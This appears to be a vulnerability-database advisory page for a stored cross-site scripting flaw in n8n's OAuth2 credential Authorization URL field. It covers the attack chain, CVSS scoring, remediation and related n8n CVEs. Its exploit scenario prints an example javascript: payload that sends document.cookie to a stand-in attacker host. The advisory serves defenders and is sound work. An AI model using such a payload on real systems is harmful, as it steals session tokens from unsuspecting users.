Skip to main content

n8n EUVDEUVD-2026-42257

| CVE-2026-56359 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-08 disclosure@vulncheck.com GHSA-c4mv-j7jv-9c8f
4.8
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to n8n with low-privilege account
  2. Delivery
    Create OAuth2 credential with javascript: URI as Authorization URL
  3. Exploit
    Surface or share malicious credential to target victim
  4. Execution
    Victim opens credential and clicks OAuth authorization button
  5. Persist
    Injected JavaScript executes in victim's browser session
  6. Impact
    Exfiltrate session tokens or perform privileged in-app actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be authenticated to the n8n instance with at least low-level privilege (PR:L per CVSS 4.0 vector) and must have permission to create or modify OAuth2 credentials in the credential management interface - this is a default capability for most n8n user roles but would be blocked if credential creation is restricted to administrators only. A victim must actively click the OAuth authorization button associated with the malicious credential (UI:A); passive browsing or workflow execution alone is insufficient to trigger the payload. Exploitation is further bounded by the requirement that the victim's browser follows the injected javascript: URI - modern browser content security policies (CSP), if configured on the n8n instance, may mitigate or block execution depending on the policy strictness. Non-default configurations that prevent low-privilege users from creating credentials, or that enforce a strict CSP disallowing javascript: URIs, would each independently limit exploitability. The attack is fully network-reachable without any additional network-level prerequisites.

Impact

The CVSS 4.0 score of 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) accurately captures the moderate real-world risk: network-reachable with low complexity, but gated behind authenticated access (PR:L) and mandatory victim interaction (UI:A - the victim must actively click the OAuth authorization button). Confidentiality and integrity impacts are bounded to low on both the vulnerable system and subsequent-system scope, reflecting session-level access rather than full account takeover or data exfiltration. No EPSS score was provided in the available intelligence, and the absence of a KEV listing and any known POC further supports treating this as a medium-priority finding rather than an urgent emergency. However, the stored nature of the payload is a meaningful risk amplifier: in collaborative n8n deployments where credential sharing between users is common, a single injected credential can target multiple victims including administrators. Organizations running n8n with multi-user access and mixed privilege levels should treat this as a higher internal priority than the base score alone suggests. No conflicting signals between data sources were identified.

Exploit ScenarioDerived

An authenticated attacker with a low-privilege n8n account creates a new OAuth2 credential and sets the Authorization URL to a javascript: URI (e.g., javascript:fetch('https://attacker.example/steal?c='+document.cookie)). The attacker then surfaces this credential - through a shared workflow, a direct share, or social engineering - to a higher-privileged user such as an administrator. When the victim opens the credential and clicks the OAuth authorization button to complete the integration setup, their browser executes the injected script in the context of the n8n application, potentially exfiltrating session tokens or performing privileged actions on their behalf. No public POC has been identified, but the attack requires only basic web knowledge to construct.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 08, 2026

Stored cross-site scripting in n8n before 2.8.0 allows authenticated low-privilege users to inject malicious JavaScript URLs into OAuth2 credential Authorization URL fields within the credential management flow. When a victim - potentially a higher-privileged user - clicks the OAuth authorization button on the crafted credential, arbitrary scripts execute in their browser session carrying the victim's privileges. No public exploit has been identified at time of analysis and no CISA KEV listing exists, but the stored nature of the payload means a single malicious credential can be surfaced to multiple targets in collaborative n8n environments.

RemediationAI

The primary fix is to upgrade n8n to version 2.8.0 or later, per the vendor security advisory at https://github.com/n8n-io/n8n/security/advisories/GHSA-364x-8g5j-x2pr. For operators running the 2.6.x release branch, EUVD-2026-42257 references 2.6.4 as a patched version, though this should be confirmed against the official release notes before relying on it. If immediate upgrade is not feasible, a targeted compensating control is to restrict the 'Credentials' creation permission to trusted users only - preventing low-privilege accounts from creating or editing OAuth2 credentials eliminates the attacker's ability to inject the payload. The trade-off of this restriction is reduced self-service capability for lower-privileged users who legitimately need to configure their own integrations. Additionally, user awareness training to scrutinize OAuth2 Authorization URLs before clicking authorization buttons is a secondary but low-friction control, particularly in environments where credential sharing is common.

Affected VersionsENISA

n8n 0 <2.8.0
n8n 0 <2.6.4

Affected Packages

npm n8n fix: 2.6.4, 2.8.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

n8n is an open-source, self-hosted and cloud-available workflow automation platform that allows users to configure integrations via credential objects, including OAuth2 credentials with customizable Authorization URL fields. CWE-79 (Improper Neutralization of Input During Web Page Generation - XSS) identifies the root cause: user-supplied input in the Authorization URL field is not adequately sanitized or validated before being rendered as a navigable link or href value in the DOM. This permits javascript: URI injection - a classic stored XSS technique where the browser evaluates the URI scheme as a script rather than a navigation target. Because credentials in n8n can be shared across users and workflows, the injected payload persists server-side and can be triggered by any user who interacts with the credential's authorization flow. No explicit CPE strings were provided in the available intelligence, but the vulnerability applies to all self-hosted and cloud deployments of n8n prior to version 2.8.0.

Know when N8n gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

PR:L for required authentication, UI:R for mandatory victim click, S:C for cross-user session script execution, no availability impact applies.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 08, 2026 - 15:01 EUVD

DescriptionCVE.org

n8n before 2.8.0 contains a cross-site scripting vulnerability in the credential management flow where authenticated users can inject malicious JavaScript URLs into OAuth2 credential Authorization URL fields. Attackers can craft malicious credentials and trick victims into clicking the OAuth authorization button, executing arbitrary scripts in their browser session with the victim's privileges.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Medium
popular open-source workflow automation tool, broad self-hosted enterprise adoption
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in N8n

View all
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2026-21877 CRITICAL POC
9.9 Jan 08

n8n workflow automation (through 1.121.2) allows authenticated users to execute arbitrary code via the n8n service, with

CVE-2026-21858 CRITICAL POC
10.0 Jan 08

n8n workflow automation (1.65.0 to 1.121.0) allows unauthenticated file access through form-based workflows. A critical

CVE-2026-1470 CRITICAL POC
9.9 Jan 27

n8n has a fifth critical RCE vulnerability (CVSS 9.9) in the Expression evaluator, enabling code execution through craft

CVE-2025-65964 CRITICAL POC
9.4 Dec 09

Authenticated users who can create or modify an n8n workflow can achieve remote code execution on the n8n host by abusin

CVE-2026-33696 CRITICAL POC
9.4 Mar 25

A prototype pollution vulnerability in the XML and GSuiteAdmin nodes of n8n workflow automation platform allows authenti

CVE-2026-33660 CRITICAL POC
9.4 Mar 25

An authenticated user with workflow creation or modification privileges in n8n workflow automation platform can exploit

CVE-2025-55526 CRITICAL POC
9.1 Aug 26

n8n-workflows Main Commit ee25413 allows attackers to execute a directory traversal via the download_workflow function w

CVE-2026-27493 CRITICAL POC
9.0 Feb 25

Second-order expression injection in n8n workflow automation before 2.10.1/2.9.3/1.123.22. Crafted workflow data trigger

CVE-2025-56265 HIGH POC
8.8 Sep 08

An arbitrary file upload vulnerability in the Chat Trigger component of N8N v1.95.3, v1.100.1, and v1.101.1 allows attac

CVE-2026-33665 HIGH POC
8.8 Mar 25

Authenticated n8n users can hijack administrator accounts when LDAP authentication is enabled by manipulating their LDAP

CVE-2023-27563 HIGH POC
8.8 May 10

The n8n package 0.218.0 for Node.js allows Escalation of Privileges. Rated high severity (CVSS 8.8), this vulnerability

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy